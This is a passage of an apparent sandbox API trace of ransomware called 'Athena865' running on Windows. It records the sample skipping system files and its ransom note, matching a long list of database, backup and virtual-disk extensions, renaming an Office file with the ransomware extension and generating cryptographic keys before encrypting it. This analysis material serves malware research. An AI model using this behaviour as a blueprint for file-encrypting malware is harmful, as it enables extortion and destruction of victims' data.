ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x61c8a500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5261, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adjacency.eftx", cAlternateFileName="ADJACE~1.EFT")) returned 1 [0136.715] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.715] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.715] lstrcmpiW (lpString1="Adjacency.eftx", lpString2=".") returned 1 [0136.715] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="..") returned 1 [0136.715] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="windows") returned -1 [0136.715] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="bootmgr") returned -1 [0136.715] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="temp") returned -1 [0136.715] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="pagefile.sys") returned -1 [0136.716] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="boot") returned -1 [0136.716] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="ids.txt") returned -1 [0136.716] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="ntuser.dat") returned -1 [0136.716] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="perflogs") returned -1 [0136.716] lstrcmpiW (lpString1="Adjacency.eftx", lpString2="MSBuild") returned -1 [0136.716] lstrlenW (lpString="Adjacency.eftx") returned 14 [0136.716] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Adjacency.eftx" | out: lpString1="Adjacency.eftx") returned="Adjacency.eftx" [0136.716] lstrlenW (lpString="Adjacency.eftx") returned 14 [0136.716] lstrlenW (lpString="Athena865") returned 9 [0136.716] lstrcmpiW (lpString1="ency.eftx", lpString2="Athena865") returned 1 [0136.716] lstrlenW (lpString=".dll") returned 4 [0136.716] lstrcmpiW (lpString1="Adjacency.eftx", lpString2=".dll") returned 1 [0136.716] lstrlenW (lpString=".lnk") returned 4 [0136.716] lstrcmpiW (lpString1="Adjacency.eftx", lpString2=".lnk") returned 1 [0136.716] lstrlenW (lpString=".ini") returned 4 [0136.716] lstrcmpiW (lpString1="Adjacency.eftx", lpString2=".ini") returned 1 [0136.716] lstrlenW (lpString=".sys") returned 4 [0136.716] lstrcmpiW (lpString1="Adjacency.eftx", lpString2=".sys") returned 1 [0136.716] lstrlenW (lpString="Adjacency.eftx") returned 14 [0136.716] lstrlenW (lpString="bak") returned 3 [0136.716] lstrcmpiW (lpString1="ftx", lpString2="bak") returned 1 [0136.716] lstrlenW (lpString="ba_") returned 3 [0136.716] lstrcmpiW (lpString1="ftx", lpString2="ba_") returned 1 [0136.716] lstrlenW (lpString="dbb") returned 3 [0136.716] lstrcmpiW (lpString1="ftx", lpString2="dbb") returned 1 [0136.716] lstrlenW (lpString="vmdk") returned 4 [0136.717] lstrcmpiW (lpString1="eftx", lpString2="vmdk") returned -1 [0136.717] lstrlenW (lpString="rar") returned 3 [0136.717] lstrcmpiW (lpString1="ftx", lpString2="rar") returned -1 [0136.717] lstrlenW (lpString="zip") returned 3 [0136.717] lstrcmpiW (lpString1="ftx", lpString2="zip") returned -1 [0136.717] lstrlenW (lpString="tgz") returned 3 [0136.717] lstrcmpiW (lpString1="ftx", lpString2="tgz") returned -1 [0136.717] lstrlenW (lpString="vbox") returned 4 [0136.717] lstrcmpiW (lpString1="eftx", lpString2="vbox") returned -1 [0136.717] lstrlenW (lpString="vdi") returned 3 [0136.717] lstrcmpiW (lpString1="ftx", lpString2="vdi") returned -1 [0136.717] lstrlenW (lpString="vhd") returned 3 [0136.717] lstrcmpiW (lpString1="ftx", lpString2="vhd") returned -1 [0136.717] lstrlenW (lpString="vhdx") returned 4 [0136.717] lstrcmpiW (lpString1="eftx", lpString2="vhdx") returned -1 [0136.717] lstrlenW (lpString="avhd") returned 4 [0136.717] lstrcmpiW (lpString1="eftx", lpString2="avhd") returned 1 [0136.717] lstrlenW (lpString="db") returned 2 [0136.717] lstrcmpiW (lpString1="tx", lpString2="db") returned 1 [0136.717] lstrlenW (lpString="db2") returned 3 [0136.717] lstrcmpiW (lpString1="ftx", lpString2="db2") returned 1 [0136.717] lstrlenW (lpString="db3") returned 3 [0136.717] lstrcmpiW (lpString1="ftx", lpString2="db3") returned 1 [0136.717] lstrlenW (lpString="dbf") returned 3 [0136.717] lstrcmpiW (lpString1="ftx", lpString2="dbf") returned 1 [0136.717] lstrlenW (lpString="mdf") returned 3 [0136.717] lstrcmpiW (lpString1="ftx", lpString2="mdf") returned -1 [0136.718] lstrlenW (lpString="mdb") returned 3 [0136.718] lstrcmpiW (lpString1="ftx", lpString2="mdb") returned -1 [0136.718] lstrlenW (lpString="sql") returned 3 [0136.718] lstrcmpiW (lpString1="ftx", lpString2="sql") returned -1 [0136.718] lstrlenW (lpString="sqlite") returned 6 [0136.718] lstrcmpiW (lpString1="y.eftx", lpString2="sqlite") returned 1 [0136.718] lstrlenW (lpString="sqlite3") returned 7 [0136.718] lstrcmpiW (lpString1="cy.eftx", lpString2="sqlite3") returned -1 [0136.718] lstrlenW (lpString="sqlitedb") returned 8 [0136.718] lstrcmpiW (lpString1="ncy.eftx", lpString2="sqlitedb") returned -1 [0136.718] lstrlenW (lpString="xml") returned 3 [0136.718] lstrcmpiW (lpString1="ftx", lpString2="xml") returned -1 [0136.718] lstrlenW (lpString="$er") returned 3 [0136.718] lstrcmpiW (lpString1="ftx", lpString2="$er") returned 1 [0136.718] lstrlenW (lpString="4dd") returned 3 [0136.718] lstrcmpiW (lpString1="ftx", lpString2="4dd") returned 1 [0136.718] lstrlenW (lpString="4dl") returned 3 [0136.718] lstrcmpiW (lpString1="ftx", lpString2="4dl") returned 1 [0136.718] lstrlenW (lpString="^^^") returned 3 [0136.718] lstrcmpiW (lpString1="ftx", lpString2="^^^") returned 1 [0136.718] lstrlenW (lpString="abs") returned 3 [0136.718] lstrcmpiW (lpString1="ftx", lpString2="abs") returned 1 [0136.718] lstrlenW (lpString="abx") returned 3 [0136.718] lstrcmpiW (lpString1="ftx", lpString2="abx") returned 1 [0136.718] lstrlenW (lpString="accdb") returned 5 [0136.718] lstrcmpiW (lpString1=".eftx", lpString2="accdb") returned -1 [0136.719] lstrlenW (lpString="accdc") returned 5 [0136.719] lstrcmpiW (lpString1=".eftx", lpString2="accdc") returned -1 [0136.719] lstrlenW (lpString="accde") returned 5 [0136.719] lstrcmpiW (lpString1=".eftx", lpString2="accde") returned -1 [0136.719] lstrlenW (lpString="accdr") returned 5 [0136.719] lstrcmpiW (lpString1=".eftx", lpString2="accdr") returned -1 [0136.719] lstrlenW (lpString="accdt") returned 5 [0136.719] lstrcmpiW (lpString1=".eftx", lpString2="accdt") returned -1 [0136.719] lstrlenW (lpString="accdw") returned 5 [0136.719] lstrcmpiW (lpString1=".eftx", lpString2="accdw") returned -1 [0136.719] lstrlenW (lpString="accft") returned 5 [0136.719] lstrcmpiW (lpString1=".eftx", lpString2="accft") returned -1 [0136.719] lstrlenW (lpString="adb") returned 3 [0136.719] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1 [0136.719] lstrlenW (lpString="adb") returned 3 [0136.719] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1 [0136.719] lstrlenW (lpString="ade") returned 3 [0136.719] lstrcmpiW (lpString1="ftx", lpString2="ade") returned 1 [0136.719] lstrlenW (lpString="adf") returned 3 [0136.719] lstrcmpiW (lpString1="ftx", lpString2="adf") returned 1 [0136.719] lstrlenW (lpString="adn") returned 3 [0136.719] lstrcmpiW (lpString1="ftx", lpString2="adn") returned 1 [0136.719] lstrlenW (lpString="adp") returned 3 [0136.719] lstrcmpiW (lpString1="ftx", lpString2="adp") returned 1 [0136.719] lstrlenW (lpString="alf") returned 3 [0136.719] lstrcmpiW (lpString1="ftx", lpString2="alf") returned 1 [0136.719] lstrlenW (lpString="ask") returned 3 [0136.720] lstrcmpiW (lpString1="ftx", lpString2="ask") returned 1 [0136.720] lstrlenW (lpString="btr") returned 3 [0136.720] lstrcmpiW (lpString1="ftx", lpString2="btr") returned 1 [0136.720] lstrlenW (lpString="cat") returned 3 [0136.720] lstrcmpiW (lpString1="ftx", lpString2="cat") returned 1 [0136.720] lstrlenW (lpString="cdb") returned 3 [0136.720] lstrcmpiW (lpString1="ftx", lpString2="cdb") returned 1 [0136.720] lstrlenW (lpString="ckp") returned 3 [0136.720] lstrcmpiW (lpString1="ftx", lpString2="ckp") returned 1 [0136.720] lstrlenW (lpString="cma") returned 3 [0136.720] lstrcmpiW (lpString1="ftx", lpString2="cma") returned 1 [0136.720] lstrlenW (lpString="cpd") returned 3 [0136.720] lstrcmpiW (lpString1="ftx", lpString2="cpd") returned 1 [0136.720] lstrlenW (lpString="dacpac") returned 6 [0136.720] lstrcmpiW (lpString1="y.eftx", lpString2="dacpac") returned 1 [0136.720] lstrlenW (lpString="dad") returned 3 [0136.720] lstrcmpiW (lpString1="ftx", lpString2="dad") returned 1 [0136.721] lstrlenW (lpString="dadiagrams") returned 10 [0136.721] lstrcmpiW (lpString1="cency.eftx", lpString2="dadiagrams") returned -1 [0136.721] lstrlenW (lpString="daschema") returned 8 [0136.721] lstrcmpiW (lpString1="ncy.eftx", lpString2="daschema") returned 1 [0136.721] lstrlenW (lpString="db-journal") returned 10 [0136.721] lstrcmpiW (lpString1="cency.eftx", lpString2="db-journal") returned -1 [0136.721] lstrlenW (lpString="db-shm") returned 6 [0136.721] lstrcmpiW (lpString1="y.eftx", lpString2="db-shm") returned 1 [0136.722] lstrlenW (lpString="db-wal") returned 6 [0136.722] lstrcmpiW (lpString1="y.eftx", lpString2="db-wal") returned 1 [0136.722] lstrlenW (lpString="dbc") returned 3 [0136.722] lstrcmpiW (lpString1="ftx", lpString2="dbc") returned 1 [0136.722] lstrlenW (lpString="dbs") returned 3 [0136.722] lstrcmpiW (lpString1="ftx", lpString2="dbs") returned 1 [0136.722] lstrlenW (lpString="dbt") returned 3 [0136.722] lstrcmpiW (lpString1="ftx", lpString2="dbt") returned 1 [0136.722] lstrlenW (lpString="dbv") returned 3 [0136.722] lstrcmpiW (lpString1="ftx", lpString2="dbv") returned 1 [0136.722] lstrlenW (lpString="dbx") returned 3 [0136.722] lstrcmpiW (lpString1="ftx", lpString2="dbx") returned 1 [0136.722] lstrlenW (lpString="dcb") returned 3 [0136.722] lstrcmpiW (lpString1="ftx", lpString2="dcb") returned 1 [0136.722] lstrlenW (lpString="dct") returned 3 [0136.722] lstrcmpiW (lpString1="ftx", lpString2="dct") returned 1 [0136.722] lstrlenW (lpString="dcx") returned 3 [0136.722] lstrcmpiW (lpString1="ftx", lpString2="dcx") returned 1 [0136.722] lstrlenW (lpString="ddl") returned 3 [0136.722] lstrcmpiW (lpString1="ftx", lpString2="ddl") returned 1 [0136.722] lstrlenW (lpString="dlis") returned 4 [0136.722] lstrcmpiW (lpString1="eftx", lpString2="dlis") returned 1 [0136.722] lstrlenW (lpString="dp1") returned 3 [0136.722] lstrcmpiW (lpString1="ftx", lpString2="dp1") returned 1 [0136.722] lstrlenW (lpString="dqy") returned 3 [0136.723] lstrcmpiW (lpString1="ftx", lpString2="dqy") returned 1 [0136.723] lstrlenW (lpString="dsk") returned 3 [0136.723] lstrcmpiW (lpString1="ftx", lpString2="dsk") returned 1 [0136.723] lstrlenW (lpString="dsn") returned 3 [0136.723] lstrcmpiW (lpString1="ftx", lpString2="dsn") returned 1 [0136.723] lstrlenW (lpString="dtsx") returned 4 [0136.723] lstrcmpiW (lpString1="eftx", lpString2="dtsx") returned 1 [0136.723] lstrlenW (lpString="dxl") returned 3 [0136.723] lstrcmpiW (lpString1="ftx", lpString2="dxl") returned 1 [0136.723] lstrlenW (lpString="eco") returned 3 [0136.723] lstrcmpiW (lpString1="ftx", lpString2="eco") returned 1 [0136.723] lstrlenW (lpString="ecx") returned 3 [0136.723] lstrcmpiW (lpString1="ftx", lpString2="ecx") returned 1 [0136.723] lstrlenW (lpString="edb") returned 3 [0136.723] lstrcmpiW (lpString1="ftx", lpString2="edb") returned 1 [0136.723] lstrlenW (lpString="epim") returned 4 [0136.723] lstrcmpiW (lpString1="eftx", lpString2="epim") returned -1 [0136.723] lstrlenW (lpString="fcd") returned 3 [0136.723] lstrcmpiW (lpString1="ftx", lpString2="fcd") returned 1 [0136.723] lstrlenW (lpString="fdb") returned 3 [0136.723] lstrcmpiW (lpString1="ftx", lpString2="fdb") returned 1 [0136.723] lstrlenW (lpString="fic") returned 3 [0136.723] lstrcmpiW (lpString1="ftx", lpString2="fic") returned 1 [0136.723] lstrlenW (lpString="flexolibrary") returned 12 [0136.723] lstrcmpiW (lpString1="jacency.eftx", lpString2="flexolibrary") returned 1 [0136.723] lstrlenW (lpString="fm5") returned 3 [0136.724] lstrcmpiW (lpString1="ftx", lpString2="fm5") returned 1 [0136.724] lstrlenW (lpString="fmp") returned 3 [0136.724] lstrcmpiW (lpString1="ftx", lpString2="fmp") returned 1 [0136.724] lstrlenW (lpString="fmp12") returned 5 [0136.724] lstrcmpiW (lpString1=".eftx", lpString2="fmp12") returned -1 [0136.724] lstrlenW (lpString="fmpsl") returned 5 [0136.724] lstrcmpiW (lpString1=".eftx", lpString2="fmpsl") returned -1 [0136.724] lstrlenW (lpString="fol") returned 3 [0136.724] lstrcmpiW (lpString1="ftx", lpString2="fol") returned 1 [0136.724] lstrlenW (lpString="fp3") returned 3 [0136.724] lstrcmpiW (lpString1="ftx", lpString2="fp3") returned 1 [0136.724] lstrlenW (lpString="fp4") returned 3 [0136.724] lstrcmpiW (lpString1="ftx", lpString2="fp4") returned 1 [0136.724] lstrlenW (lpString="fp5") returned 3 [0136.724] lstrcmpiW (lpString1="ftx", lpString2="fp5") returned 1 [0136.724] lstrlenW (lpString="fp7") returned 3 [0136.724] lstrcmpiW (lpString1="ftx", lpString2="fp7") returned 1 [0136.724] lstrlenW (lpString="fpt") returned 3 [0136.724] lstrcmpiW (lpString1="ftx", lpString2="fpt") returned 1 [0136.724] lstrlenW (lpString="frm") returned 3 [0136.724] lstrcmpiW (lpString1="ftx", lpString2="frm") returned 1 [0136.724] lstrlenW (lpString="gdb") returned 3 [0136.724] lstrcmpiW (lpString1="ftx", lpString2="gdb") returned -1 [0136.724] lstrlenW (lpString="gdb") returned 3 [0136.724] lstrcmpiW (lpString1="ftx", lpString2="gdb") returned -1 [0136.724] lstrlenW (lpString="grdb") returned 4 [0136.724] lstrcmpiW (lpString1="eftx", lpString2="grdb") returned -1 [0136.725] lstrlenW (lpString="gwi") returned 3 [0136.725] lstrcmpiW (lpString1="ftx", lpString2="gwi") returned -1 [0136.725] lstrlenW (lpString="hdb") returned 3 [0136.725] lstrcmpiW (lpString1="ftx", lpString2="hdb") returned -1 [0136.725] lstrlenW (lpString="his") returned 3 [0136.725] lstrcmpiW (lpString1="ftx", lpString2="his") returned -1 [0136.725] lstrlenW (lpString="ib") returned 2 [0136.725] lstrcmpiW (lpString1="tx", lpString2="ib") returned 1 [0136.725] lstrlenW (lpString="idb") returned 3 [0136.725] lstrcmpiW (lpString1="ftx", lpString2="idb") returned -1 [0136.725] lstrlenW (lpString="ihx") returned 3 [0136.725] lstrcmpiW (lpString1="ftx", lpString2="ihx") returned -1 [0136.725] lstrlenW (lpString="itdb") returned 4 [0136.725] lstrcmpiW (lpString1="eftx", lpString2="itdb") returned -1 [0136.725] lstrlenW (lpString="itw") returned 3 [0136.725] lstrcmpiW (lpString1="ftx", lpString2="itw") returned -1 [0136.725] lstrlenW (lpString="jet") returned 3 [0136.725] lstrcmpiW (lpString1="ftx", lpString2="jet") returned -1 [0136.725] lstrlenW (lpString="jtx") returned 3 [0136.725] lstrcmpiW (lpString1="ftx", lpString2="jtx") returned -1 [0136.725] lstrlenW (lpString="kdb") returned 3 [0136.725] lstrcmpiW (lpString1="ftx", lpString2="kdb") returned -1 [0136.725] lstrlenW (lpString="kexi") returned 4 [0136.725] lstrcmpiW (lpString1="eftx", lpString2="kexi") returned -1 [0136.725] lstrlenW (lpString="kexic") returned 5 [0136.725] lstrcmpiW (lpString1=".eftx", lpString2="kexic") returned -1 [0136.726] lstrlenW (lpString="kexis") returned 5 [0136.726] lstrcmpiW (lpString1=".eftx", lpString2="kexis") returned -1 [0136.726] lstrlenW (lpString="lgc") returned 3 [0136.726] lstrcmpiW (lpString1="ftx", lpString2="lgc") returned -1 [0136.726] lstrlenW (lpString="lwx") returned 3 [0136.726] lstrcmpiW (lpString1="ftx", lpString2="lwx") returned -1 [0136.726] lstrlenW (lpString="maf") returned 3 [0136.726] lstrcmpiW (lpString1="ftx", lpString2="maf") returned -1 [0136.726] lstrlenW (lpString="maq") returned 3 [0136.726] lstrcmpiW (lpString1="ftx", lpString2="maq") returned -1 [0136.726] lstrlenW (lpString="mar") returned 3 [0136.726] lstrcmpiW (lpString1="ftx", lpString2="mar") returned -1 [0136.726] lstrlenW (lpString="marshal") returned 7 [0136.726] lstrcmpiW (lpString1="cy.eftx", lpString2="marshal") returned -1 [0136.726] lstrlenW (lpString="mas") returned 3 [0136.726] lstrcmpiW (lpString1="ftx", lpString2="mas") returned -1 [0136.726] lstrlenW (lpString="mav") returned 3 [0136.726] lstrcmpiW (lpString1="ftx", lpString2="mav") returned -1 [0136.726] lstrlenW (lpString="maw") returned 3 [0136.726] lstrcmpiW (lpString1="ftx", lpString2="maw") returned -1 [0136.726] lstrlenW (lpString="mdbhtml") returned 7 [0136.726] lstrcmpiW (lpString1="cy.eftx", lpString2="mdbhtml") returned -1 [0136.726] lstrlenW (lpString="mdn") returned 3 [0136.726] lstrcmpiW (lpString1="ftx", lpString2="mdn") returned -1 [0136.726] lstrlenW (lpString="mdt") returned 3 [0136.726] lstrcmpiW (lpString1="ftx", lpString2="mdt") returned -1 [0136.727] lstrlenW (lpString="mfd") returned 3 [0136.727] lstrcmpiW (lpString1="ftx", lpString2="mfd") returned -1 [0136.727] lstrlenW (lpString="mpd") returned 3 [0136.727] lstrcmpiW (lpString1="ftx", lpString2="mpd") returned -1 [0136.727] lstrlenW (lpString="mrg") returned 3 [0136.727] lstrcmpiW (lpString1="ftx", lpString2="mrg") returned -1 [0136.727] lstrlenW (lpString="mud") returned 3 [0136.727] lstrcmpiW (lpString1="ftx", lpString2="mud") returned -1 [0136.727] lstrlenW (lpString="mwb") returned 3 [0136.727] lstrcmpiW (lpString1="ftx", lpString2="mwb") returned -1 [0136.727] lstrlenW (lpString="myd") returned 3 [0136.727] lstrcmpiW (lpString1="ftx", lpString2="myd") returned -1 [0136.727] lstrlenW (lpString="ndf") returned 3 [0136.727] lstrcmpiW (lpString1="ftx", lpString2="ndf") returned -1 [0136.727] lstrlenW (lpString="nnt") returned 3 [0136.727] lstrcmpiW (lpString1="ftx", lpString2="nnt") returned -1 [0136.727] lstrlenW (lpString="nrmlib") returned 6 [0136.727] lstrcmpiW (lpString1="y.eftx", lpString2="nrmlib") returned 1 [0136.727] lstrlenW (lpString="ns2") returned 3 [0136.727] lstrcmpiW (lpString1="ftx", lpString2="ns2") returned -1 [0136.727] lstrlenW (lpString="ns3") returned 3 [0136.727] lstrcmpiW (lpString1="ftx", lpString2="ns3") returned -1 [0136.727] lstrlenW (lpString="ns4") returned 3 [0136.727] lstrcmpiW (lpString1="ftx", lpString2="ns4") returned -1 [0136.727] lstrlenW (lpString="nsf") returned 3 [0136.727] lstrcmpiW (lpString1="ftx", lpString2="nsf") returned -1 [0136.728] lstrlenW (lpString="nv") returned 2 [0136.728] lstrcmpiW (lpString1="tx", lpString2="nv") returned 1 [0136.728] lstrlenW (lpString="nv2") returned 3 [0136.728] lstrcmpiW (lpString1="ftx", lpString2="nv2") returned -1 [0136.728] lstrlenW (lpString="nwdb") returned 4 [0136.728] lstrcmpiW (lpString1="eftx", lpString2="nwdb") returned -1 [0136.728] lstrlenW (lpString="nyf") returned 3 [0136.728] lstrcmpiW (lpString1="ftx", lpString2="nyf") returned -1 [0136.728] lstrlenW (lpString="odb") returned 3 [0136.728] lstrcmpiW (lpString1="ftx", lpString2="odb") returned -1 [0136.728] lstrlenW (lpString="odb") returned 3 [0136.728] lstrcmpiW (lpString1="ftx", lpString2="odb") returned -1 [0136.728] lstrlenW (lpString="oqy") returned 3 [0136.728] lstrcmpiW (lpString1="ftx", lpString2="oqy") returned -1 [0136.728] lstrlenW (lpString="ora") returned 3 [0136.728] lstrcmpiW (lpString1="ftx", lpString2="ora") returned -1 [0136.728] lstrlenW (lpString="orx") returned 3 [0136.728] lstrcmpiW (lpString1="ftx", lpString2="orx") returned -1 [0136.728] lstrlenW (lpString="owc") returned 3 [0136.728] lstrcmpiW (lpString1="ftx", lpString2="owc") returned -1 [0136.728] lstrlenW (lpString="p96") returned 3 [0136.728] lstrcmpiW (lpString1="ftx", lpString2="p96") returned -1 [0136.728] lstrlenW (lpString="p97") returned 3 [0136.728] lstrcmpiW (lpString1="ftx", lpString2="p97") returned -1 [0136.728] lstrlenW (lpString="pan") returned 3 [0136.728] lstrcmpiW (lpString1="ftx", lpString2="pan") returned -1 [0136.729] lstrlenW (lpString="pdb") returned 3 [0136.729] lstrcmpiW (lpString1="ftx", lpString2="pdb") returned -1 [0136.729] lstrlenW (lpString="pdm") returned 3 [0136.729] lstrcmpiW (lpString1="ftx", lpString2="pdm") returned -1 [0136.729] lstrlenW (lpString="pnz") returned 3 [0136.729] lstrcmpiW (lpString1="ftx", lpString2="pnz") returned -1 [0136.729] lstrlenW (lpString="qry") returned 3 [0136.729] lstrcmpiW (lpString1="ftx", lpString2="qry") returned -1 [0136.729] lstrlenW (lpString="qvd") returned 3 [0136.729] lstrcmpiW (lpString1="ftx", lpString2="qvd") returned -1 [0136.729] lstrlenW (lpString="rbf") returned 3 [0136.729] lstrcmpiW (lpString1="ftx", lpString2="rbf") returned -1 [0136.729] lstrlenW (lpString="rctd") returned 4 [0136.729] lstrcmpiW (lpString1="eftx", lpString2="rctd") returned -1 [0136.729] lstrlenW (lpString="rod") returned 3 [0136.729] lstrcmpiW (lpString1="ftx", lpString2="rod") returned -1 [0136.729] lstrlenW (lpString="rodx") returned 4 [0136.729] lstrcmpiW (lpString1="eftx", lpString2="rodx") returned -1 [0136.729] lstrlenW (lpString="rpd") returned 3 [0136.729] lstrcmpiW (lpString1="ftx", lpString2="rpd") returned -1 [0136.729] lstrlenW (lpString="rsd") returned 3 [0136.729] lstrcmpiW (lpString1="ftx", lpString2="rsd") returned -1 [0136.729] lstrlenW (lpString="sas7bdat") returned 8 [0136.729] lstrcmpiW (lpString1="ncy.eftx", lpString2="sas7bdat") returned -1 [0136.729] lstrlenW (lpString="sbf") returned 3 [0136.729] lstrcmpiW (lpString1="ftx", lpString2="sbf") returned -1 [0136.729] lstrlenW (lpString="scx") returned 3 [0136.730] lstrcmpiW (lpString1="ftx", lpString2="scx") returned -1 [0136.730] lstrlenW (lpString="sdb") returned 3 [0136.730] lstrcmpiW (lpString1="ftx", lpString2="sdb") returned -1 [0136.730] lstrlenW (lpString="sdc") returned 3 [0136.730] lstrcmpiW (lpString1="ftx", lpString2="sdc") returned -1 [0136.730] lstrlenW (lpString="sdf") returned 3 [0136.730] lstrcmpiW (lpString1="ftx", lpString2="sdf") returned -1 [0136.730] lstrlenW (lpString="sis") returned 3 [0136.730] lstrcmpiW (lpString1="ftx", lpString2="sis") returned -1 [0136.730] lstrlenW (lpString="spq") returned 3 [0136.730] lstrcmpiW (lpString1="ftx", lpString2="spq") returned -1 [0136.730] lstrlenW (lpString="te") returned 2 [0136.730] lstrcmpiW (lpString1="tx", lpString2="te") returned 1 [0136.730] lstrlenW (lpString="teacher") returned 7 [0136.730] lstrcmpiW (lpString1="cy.eftx", lpString2="teacher") returned -1 [0136.730] lstrlenW (lpString="tmd") returned 3 [0136.730] lstrcmpiW (lpString1="ftx", lpString2="tmd") returned -1 [0136.730] lstrlenW (lpString="tps") returned 3 [0136.730] lstrcmpiW (lpString1="ftx", lpString2="tps") returned -1 [0136.730] lstrlenW (lpString="trc") returned 3 [0136.730] lstrcmpiW (lpString1="ftx", lpString2="trc") returned -1 [0136.730] lstrlenW (lpString="trc") returned 3 [0136.730] lstrcmpiW (lpString1="ftx", lpString2="trc") returned -1 [0136.730] lstrlenW (lpString="trm") returned 3 [0136.730] lstrcmpiW (lpString1="ftx", lpString2="trm") returned -1 [0136.731] lstrlenW (lpString="udb") returned 3 [0136.731] lstrcmpiW (lpString1="ftx", lpString2="udb") returned -1 [0136.731] lstrlenW (lpString="udl") returned 3 [0136.731] lstrcmpiW (lpString1="ftx", lpString2="udl") returned -1 [0136.731] lstrlenW (lpString="usr") returned 3 [0136.731] lstrcmpiW (lpString1="ftx", lpString2="usr") returned -1 [0136.731] lstrlenW (lpString="v12") returned 3 [0136.731] lstrcmpiW (lpString1="ftx", lpString2="v12") returned -1 [0136.731] lstrlenW (lpString="vis") returned 3 [0136.731] lstrcmpiW (lpString1="ftx", lpString2="vis") returned -1 [0136.731] lstrlenW (lpString="vpd") returned 3 [0136.731] lstrcmpiW (lpString1="ftx", lpString2="vpd") returned -1 [0136.731] lstrlenW (lpString="vvv") returned 3 [0136.731] lstrcmpiW (lpString1="ftx", lpString2="vvv") returned -1 [0136.731] lstrlenW (lpString="wdb") returned 3 [0136.731] lstrcmpiW (lpString1="ftx", lpString2="wdb") returned -1 [0136.731] lstrlenW (lpString="wmdb") returned 4 [0136.731] lstrcmpiW (lpString1="eftx", lpString2="wmdb") returned -1 [0136.731] lstrlenW (lpString="wrk") returned 3 [0136.731] lstrcmpiW (lpString1="ftx", lpString2="wrk") returned -1 [0136.731] lstrlenW (lpString="xdb") returned 3 [0136.731] lstrcmpiW (lpString1="ftx", lpString2="xdb") returned -1 [0136.731] lstrlenW (lpString="xld") returned 3 [0136.731] lstrcmpiW (lpString1="ftx", lpString2="xld") returned -1 [0136.731] lstrlenW (lpString="xmlff") returned 5 [0136.731] lstrcmpiW (lpString1=".eftx", lpString2="xmlff") returned -1 [0136.732] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.Athena865") returned 91 [0136.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.athena865"), dwFlags=0x1) returned 1 [0136.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.734] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21089) returned 1 [0136.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.735] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.735] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.735] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.735] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.736] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5570, lpName=0x0) returned 0x17c [0136.738] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5570) returned 0x100000 [0136.740] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.741] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.741] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 